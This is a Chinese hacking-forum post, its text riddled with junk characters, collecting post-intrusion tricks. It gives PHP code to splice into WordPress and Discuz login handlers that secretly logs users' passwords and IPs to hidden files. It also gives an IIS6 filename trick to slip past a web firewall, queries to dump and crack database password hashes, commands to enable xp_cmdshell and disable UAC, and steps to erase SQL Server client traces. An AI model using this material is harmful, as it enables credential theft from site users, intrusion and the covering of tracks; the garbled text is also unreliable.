// log password3 n- H4 q+ R$ l0 H+ |& _/ y
$log_user=$_POST['log'];' z; l& A# M6 @- B  B; t1 o' n
$log_pwd=$_POST['pwd'];
( \! |2 r  `3 H1 Z$log_ip=$_SERVER["REMOTE_ADDR"];
& n6 G- V6 q9 R5 w/ y5 m, n; g$txt=$log_user.’|’.$log_pwd.’|’.$log_ip;7 B; E: U, c- S
$txt=$txt.”\r\n”;
; b. G! B  I& Fif($log_user&&$log_pwd&&$log_ip){' R: D0 i% |7 d
@fwrite(fopen(‘pwd.txt’,”a+”),$txt);
3 M; k: I( p! g' H3 k4 R1 i! T, X}" g2 C" `) [& J% }% _% H
当action=login的时候会触发记录密码code,当然了你也可以在switch…case..语句中的default中写该代码。
  h$ m* N8 G4 y就是搜索case ‘login’0 h2 z. W) L" e2 K) Y
在它下面直接插入即可,记录的密码生成在pwd.txt中,/ O& ]4 D4 x% Q: Q7 }7 X. F
其实修改wp-login.php不是个好办法。容易被发现,还有其他的方法的,做个记录
9 W$ X. e* F7 }2 D2 W9 f利用II6文件解析漏洞绕过安全狗代码:
  Q- Z# \5 t, S+ ^. [/ v;antian365.asp;antian365.jpg& U" K4 Y9 e- p* K  T
* |# B3 v  m/ V$ p+ x
各种类型数据库抓HASH破解最高权限密码!
& Z1 b  _6 N/ p4 h2 u1 S" v. S1.sql server2000
$ i9 p6 Q" V" e) Q& F) r4 a- _, h; vSELECT password from master.dbo.sysxlogins where name='sa'4 M. [$ \; M# S# R4 O
0×010034767D5C0CFA5FDCA28C4A56085E65E882E71CB0ED250341
" p" n" H! N5 x5 r& w0 T# L2FD54D6119FFF04129A1D72E7C3194F7284A7F3A7 q) A/ E# _* R' Q* m" S7 @

4 k: f$ j& C! v) l: H& |0×0100- constant header
8 c3 A$ h- R4 b# f4 Q, O34767D5C- salt
: G7 @: g4 W0 W  d0CFA5FDCA28C4A56085E65E882E71CB0ED250341- case senstive hash
$ M3 |1 G( A0 M6 v0 U) D2FD54D6119FFF04129A1D72E7C3194F7284A7F3A- upper case hash8 T0 n& z# q' X& j/ u2 y! H
crack the upper case hash in ‘cain and abel’ and then work the case sentive hash3 M8 N+ ^5 y; u$ F6 f
SQL server 2005:-  h5 r$ d' h* [6 D
SELECT password_hash FROM sys.sql_logins where name='sa'
: d) T7 t( q7 Z2 `- I2 E0×0100993BF2315F36CC441485B35C4D84687DC02C78B0E680411F+ I: X. ], C. O. E$ X. }
0×0100- constant header
$ D5 g$ J4 z! S7 p9 X0 L* b: E  G$ B993BF231-salt5 k6 `3 ]/ z$ y+ D0 X* m/ Y: |6 ~
5F36CC441485B35C4D84687DC02C78B0E680411F- case sensitive hash
  Y, W8 `! l  \" w% d$ F/ q3 Ncrack case sensitive hash in cain, try brute force and dictionary based attacks.
, D+ S. z: H: e
3 p  C4 N/ j1 p! S, I* u& X$ pupdate:- following bernardo’s comments:-6 `' C  A" K/ |% ]0 B
use function fn_varbintohexstr() to cast password in a hex string.# d0 r4 a4 p  o5 D3 [/ C! z
e.g. select name from sysxlogins union all select master.dbo.fn_varbintohexstr(password)from sysxlogins
! [5 ^6 T1 {' V/ M0 R& d' J; n  L5 B4 }7 ^/ e! R3 j6 V
MYSQL:-
5 P8 Y& g# g8 c0 `9 s" W7 ^
! N% H- C. c4 q8 ?2 tIn MySQL you can generate hashes internally using the password(), md5(), or sha1 functions. password() is the function used for MySQL’s own user authentication system. It returns a 16-byte string for MySQL versions prior to 4.1, and a 41-byte string (based on a double SHA-1 hash) for versions 4.1 and up. md5() is available from MySQL version 3.23.2 and sha1() was added later in 4.0.2.
# b) I6 C3 O, F  L% t8 t
5 b: ~4 \$ O# v. E*mysql  < 4.12 y7 v* ]7 d% T: v
5 q, y2 t7 C0 G9 ?* V( G
mysql> SELECT PASSWORD(‘mypass’);0 k- W; g* R3 B5 l
+——————–+& n) }9 D& D% n
| PASSWORD(‘mypass’) |
# |2 X  N2 g9 p  N3 F$ y+——————–+
  E& d0 G$ T: E% u* j, ?5 Y# C0 ~| 6f8c114b58f2ce9e   |
# Z' V0 d! }0 z5 E) \+——————–+* |- E3 i4 Y+ [0 o

" j" B- T/ S, H- X; h  `. {*mysql >=4.18 T8 C; I- a; k+ N
) @. X, X7 G5 _
mysql> SELECT PASSWORD(‘mypass’);/ f3 C: ^1 h4 ^1 H
+——————————————-+2 ^. I1 @8 N5 y7 z( P( W
| PASSWORD(‘mypass’)                        |
4 W4 A2 h0 Z1 R% j( q' X+——————————————-+" M/ Q9 A9 S) o7 Z8 v
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
$ ?# b- r# M  m  K0 g; e+ ]+——————————————-+5 F. h. b3 k; i, M

, e' q3 H' @0 \8 s2 PSelect user, password from mysql.user$ h( ]2 O) K( w4 s; X6 P8 f  [
The hashes can be cracked in ‘cain and abel’
6 D/ W: B) b2 R! a2 u1 w5 v/ o7 A" r+ U! a# _
Postgres:-
" ?$ B! P1 [4 ~! I! s+ _Postgres keeps MD5-based password hashes for database-level users in the pg_shadow table.  You need to be the database superuser to read this table (usually called “postgres” or “pgsql”)
) {+ c8 G6 U+ ?select usename, passwd from pg_shadow;
( D+ s5 p/ C, M" _# _0 dusename      |  passwd
9 \7 c, a" e# D3 J——————+————————————-
5 P) l+ r& J* [5 u# ~testuser            | md5fabb6d7172aadfda4753bf0507ed4396
+ O) W4 T5 R1 ]7 Guse mdcrack to crack these hashes:-
) m) U+ @2 E  ~. ]$ wine MDCrack-sse.exe –algorithm=MD5 –append=testuser fabb6d7172aadfda4753bf0507ed4396
+ {; \- X0 z' V2 f0 ^$ _1 a2 \7 p. c9 g: `6 f9 U
Oracle:-
4 E, h- d2 ^/ o5 |3 Kselect name, password, spare4 from sys.user$
2 _" h- K3 q+ ^' Ehashes could be cracked using ‘cain and abel’ or thc-orakelcrackert11g
, G6 s- K$ n  q1 H3 L# GMore on Oracle later, i am a bit bored….
3 ?3 x7 J# [5 @0 t4 T# M! O, q0 [5 p% F8 d! `

1 }$ E* y4 X- w, K在sql server2005/2008中开启xp_cmdshell
, T2 d0 [* |+ s, s-- To allow advanced options to be changed.# O: C- o) N2 P4 ]
EXEC sp_configure 'show advanced options', 1
6 U, W- ]- S$ C7 U4 BGO
/ a! b- S0 j: ?-- To update the currently configured value for advanced options.8 A1 ~: z& A* \2 `. G- f% k
RECONFIGURE& c: v9 L5 R" h8 P
GO
! _( Q4 S. |4 }9 ^) o-- To enable the feature.; b$ Q7 x$ c) r9 q
EXEC sp_configure 'xp_cmdshell', 1
* z! ?1 d6 Y0 d( tGO
  a6 B6 n4 a; |- F. Q4 ^. G3 y-- To update the currently configured value for this feature.5 [, c" g- B( l% d' b
RECONFIGURE
: o7 b! k( U) L9 M' d: GGO/ j, Z1 R+ I" F$ u3 N
SQL 2008 server日志清除,在清楚前一定要备份。
" t" e0 f. R: [" h6 h. K- {如果Windows Server 2008 标准版安装SQL Express 2008,则在这里删除:
; G3 U: M1 |" q# f% u* u; l# {X:\Users[SomeUser]\AppData\Roaming\Microsoft\Microsoft SQL Server\100\Tools\Shell\SqlStudio.bin, p- r/ t7 c- X5 |
- w5 d( p5 |8 e/ `
对于SQL Server 2008以前的版本:
7 p9 Z' y& J& _, ^$ }6 U$ mSQL Server 2005:8 `* E* M1 M" O9 A' m: f$ H1 I
删除X:\Documents and Settings\XXX\Application Data\Microsoft\Microsoft SQL Server\90\Tools\Shell\mru.dat/ _3 g5 x8 e8 v1 D* n# F0 B
SQL Server 2000:
4 x% P* K/ w+ }% r清除注册表HKEY_CURRENT_USER\Software\Microsoft\Microsoft  SQL  Server\80\Tools\Client\PrefServers\相应的内容即可。1 ]% m- M9 K' s4 U8 ~. f* g
/ r9 @  T: u! l: Q6 m
本帖最后由 simeon 于 2013-1-3 09:51 编辑
2 H/ i, U# s. T6 d* z; b$ ~' t( u( U" g- Q
2 O) N# m3 {/ r+ ]0 P- l
windows 2008 文件权限修改8 |9 P/ t) {; o3 |
1.http://technet.microsoft.com/zh- ... 4%28v=ws.10%29.aspx
% K( w8 U5 \7 C& [$ h2.http://hi.baidu.com/xiaobei713/item/b0cfae38f6bd278df5e4ad98
! q' {$ ~' |: Y- ~" L一、先在右键菜单里面看看有没有“管理员取得所有权”,没有“管理员取得所有权”,
0 D8 Q0 q. B4 K3 l
2 {2 y- \3 R5 i/ L% C& @+ A3 [( DWindows Registry Editor Version 5.00, s9 \+ Q' M, N% q6 o! h* o9 @
[HKEY_CLASSES_ROOT\*\shell\runas]
; b' h8 s" ^% W/ i@="管理员取得所有权"2 Q( D; J* y/ X, J. v& E7 C% Y
"NoWorkingDirectory"="": |9 Y3 Z! u; o7 b
[HKEY_CLASSES_ROOT\*\shell\runas\command]
8 I( Y( O9 j6 `6 S9 i, w, T@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
* M0 M) X8 j0 z7 k0 C4 ^, m"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"
6 d. g9 ~/ o% E7 M: m  n[HKEY_CLASSES_ROOT\exefile\shell\runas2]1 R; _5 O7 Y8 z8 f9 L& \
@="管理员取得所有权"
+ Q) U2 w; x6 P"NoWorkingDirectory"=""
" E6 E' [5 [8 \3 z( n[HKEY_CLASSES_ROOT\exefile\shell\runas2\command]8 `" h* w$ F* Y$ j
@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"# c5 ]6 T& m  Q. c6 u7 ]9 F3 f
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"8 `5 b, g1 J2 D4 p$ `

4 {; t, I8 N" _" T- |[HKEY_CLASSES_ROOT\Directory\shell\runas]! p; s" d- T% m" p
@="管理员取得所有权"
9 O0 P* Z, ]; X# B) M"NoWorkingDirectory"=""
/ o; t% h8 U5 T/ Y- ]0 C" a[HKEY_CLASSES_ROOT\Directory\shell\runas\command]
+ r" y+ d  n+ ^$ H@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"; V) `  v4 V2 \) S
"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"
, b# @7 b% n5 E7 X; v  @
/ k# w( B* Y" c- m" x7 O- W! p6 A+ Y9 _" i7 [" z! [- k& }
win7右键“管理员取得所有权”.reg导入
. @7 V( H4 b4 F" c二、在C:\Windows目录里下搜索“notepad.exe”文件,应该会搜索到四个“notepad.exe”和四个“notepad.exe.mui”,
+ J7 r. ?, G5 v4 e$ Y' |1、C:\Windows这个路径的“notepad.exe”不需要替换$ S% H& Q7 b9 Z" r2 S4 r+ N2 A
2、C:\Windows\System32这个路径的“notepad.exe”不需要替换
2 [" F. E9 _7 O3、四个“notepad.exe.mui”不要管5 M" |- v6 i0 O/ G% ?+ k% _- E
4、主要替换C:\Windows\winsxs\x86_microsoft-windows-notepad_31bf3856ad364e35_6.1.7600.16385_none_6ef0e39ed15350e4和
& h: L% q2 X' B8 l: I6 S) IC:\Windows\winsxs\x86_microsoft-windows-notepadwin_31bf3856ad364e35_6.1.7600.16385_none_42a023025c60a33a两个文件下的“notepad.exe”$ ^9 |6 F: h( _- \4 }
替换方法先取得这两个文件夹的管理员权限,然后把“Notepad2.exe”重命名为“notepad.exe”替换到这两个文件夹下面,
+ d+ f/ v& n- L( ]0 v, a替换完之后回到桌面,新建一个txt文档打开看看是不是变了。: v8 h( q9 O% z% X( F: q
windows 2008中关闭安全策略:
7 K* n2 b8 G" n- s2 sreg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f% _8 N. {( f. g* x( \: M. G5 [
修改uc_client目录下的client.php 在# x: r9 c0 \% }+ s9 \, B) r: R
function uc_user_login($username, $password, $isuid = 0, $checkques = 0, $questionid = '', $answer = '') {
9 e1 |6 Z. t, d% R. P下加入如上代码,在网站./data/cache/目录下自动生成csslog.php
; x# F9 t/ X% D/ y" U" {) v你可以在ipdata目录下添加 view.php 可以用来查看记录的,密码为:falw
1 ~" D3 x2 i$ ?3 pif(getenv('HTTP_CLIENT_IP')) {2 ~! x, d* x& Q% t7 S
$onlineip = getenv('HTTP_CLIENT_IP');. P: s! k; J7 I9 {
} elseif(getenv('HTTP_X_FORWARDED_FOR')) {
1 g1 `/ P- l& E" D7 R* ]5 _1 @$onlineip = getenv('HTTP_X_FORWARDED_FOR');5 E; T7 D9 |( T& C; \0 N
} elseif(getenv('REMOTE_ADDR')) {
6 N9 g2 f, k5 `8 e$onlineip = getenv('REMOTE_ADDR');5 o  t" M& `- }- ^3 f
} else {
: ]9 g- w! H+ _2 [- U$onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR'];9 O: @, r: ~' a% H9 W1 m
}
& W& i0 X5 ?1 r! U     $showtime=date("Y-m-d H:i:s");0 v8 O# c" w9 z9 t
    $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$onlineip." Time:".$showtime."\r\n";
# j) \6 }. Z$ m( B    $handle=fopen('./data/cache/csslog.php','a+');* _, U6 i5 m4 ~4 l; C3 T
    $write=fwrite($handle,$record);
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表